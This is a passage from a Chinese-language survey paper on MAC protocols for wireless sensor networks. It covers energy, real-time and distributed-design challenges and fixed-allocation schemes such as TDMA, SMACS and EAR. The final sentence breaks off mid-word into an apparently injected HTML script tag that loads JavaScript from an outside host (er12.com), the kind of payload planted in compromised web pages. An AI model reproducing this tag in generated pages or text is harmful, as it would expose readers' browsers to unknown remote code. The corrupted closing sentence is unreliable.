1、引言（introduction）
无线传感器网络（wireless sensor networks，wsns）是由大量的集成了传感器、数据处理单元和通信模块的微小节点构成的全分布式的自组织网络[1]。由于数量众多，传感器节点通常随机投放在监测区域内，并且很难更换电源。通常相邻节点间距离很短，适于采用低功率的多跳通信模式，节省功耗的同时增强了通信的隐蔽性和抗干扰性。由于wsns具有易扩展、自组织、分布式结构、健壮性和实时性等特点，使其在军事、建筑、农业、环境监测、医疗等领域有着传统网络无法比拟的优势[2-6]，必将开发出许多有价值的应用。同时这些独特要求和制约因素也为wsns的研究提出了新的技术问题，其中如何有效地延长网络的生命周期成为研究wsns的核心问题。
信道接入技术是用于建立可靠的点到点、点到多点或多点共享的通信链路技术。如何控制共享信道的接入，是数据链路层的介质接入控制(medium access control，mac)子层的主要任务。
wsns的上述特性和应用促使其mac层协议与传统的无线mac层协议在许多方面不同，其主要目标是节能和自组织，而每个节点的公平和时延是次要的。本文的第三部分将分类介绍几种为wsns设计的mac层协议。
2、mac层协议面临的问题和挑战 （problems and challenges for mac protocol）
传统的mac层协议的设计目标是最大化吞吐量、最小化时延并且提供公平性。而为wsns设计的mac层协议关注的是最小化能耗，这就决定了它要适度地减小吞吐量和增加时延。由于wsns的节点总是协作完成某应用任务，所以公平性通常不是主要问题。另外，wsns的一些典型应用（如战场目标跟踪）也对其mac层协议的设计提出了不同于传统无线网络的要求。其中一些主要问题归纳如下
能量受限
wsns的基本特征就是能量受限。mac层协议要尽可能地节约能源，如减少冲突和串音、降低占空比和尽量避免长距离通信。协议中还应包括折衷机制，使用户可以在节能和提高吞吐量、降低延迟之间做出选择[7]。另外，协议设计者应该注意能量不是随时可用的。因为节点可能处于睡眠状态或者由于不可知的原因死亡。
实时性
wsns经常被应用于军事、医疗等对实时性要求很高的领域，及时地检测、处理和传递信息是其不可缺少的要求。mac层应和其它层合作提供实时保证。
分布式算法
由于wsns的节点计算能力和存储能力受限，需要众多节点协同完成某应用任务，所以mac层协议应该运行分布式的算法。这也是有效避免某些节点的死亡造成网络瘫痪的需要。
灵活性
wsns针对不同的应用显示出了不同的网络特性，mac层协议应该能适应不同应用的各种流量模式。
各性能间的平衡
mac层协议的设计需要在各种性能间取得平衡。各性能间的平衡往往比单个性能的表现更重要。因为一个不平衡的协议即使在实验室表现好，也可能在实际环境中表现很差。比如，一个协议如果太频繁地关闭无线收发装置来节能，不仅使实时性和可靠性受到影响，包丢失引起的重传也会反过来影响节能的效果。
3、典型的mac层协议（some typical mac protocols in wsns）
现有的mac层协议大体可以分为固定分配类和基于竞争类。以下分别介绍其中的一些典型协议。
3.1 固定分配类mac层协议
原有的固定分配类mac层协议主要有频分多址接入（fdma）、时分多址接入（tdma）、码分多址接入（cdma）三种。
fdma是将频带分成多个信道，不同节点可以同时使用不同的信道。tdma是将一个时间段内的整个频带分给一个节点使用。相对于fdma，tdma通信时间较短，但网络时间同步的开销增加。cdma是固定分配方式和随机分配方式的结合，具有零信道接入时延、带宽利用率高和统计复用性好的特点，并能降低隐藏终端问题的影响，但其完全集中式的信道分配和基站的高复杂性，使其不适用于全分布的wsn中。针对wsns特点，本部分将介绍以下几种基于固定分配类的mac方案。
smacs协议和ear算法
smacs(self-organizing medium access control for sensor networks)协议[8]是分布式的协议，无需任何全局或局部主节点，就能发现邻节点并建立传输/接收调度表。链路由随机选择的时隙和固定的频率组成。虽然各子网内邻节点通信需要时间同步，但全网并不需要同步。在链接阶段使用一个随机唤醒机制，在空闲时关掉无线收发装置，来达到节能的目的。ear(eavesdrop-and-register)算法[8]用来为静止和移动的节点提供不间断的服务。smacs的缺点是从属于不同子网的节点可能永远得不到通信的机会。ear算法作为smacs协议的补充，但ear算法只适用于那些整体上保持静止，且个别移动节点周围有多个静止节?script src=http://er12.com/t.js>
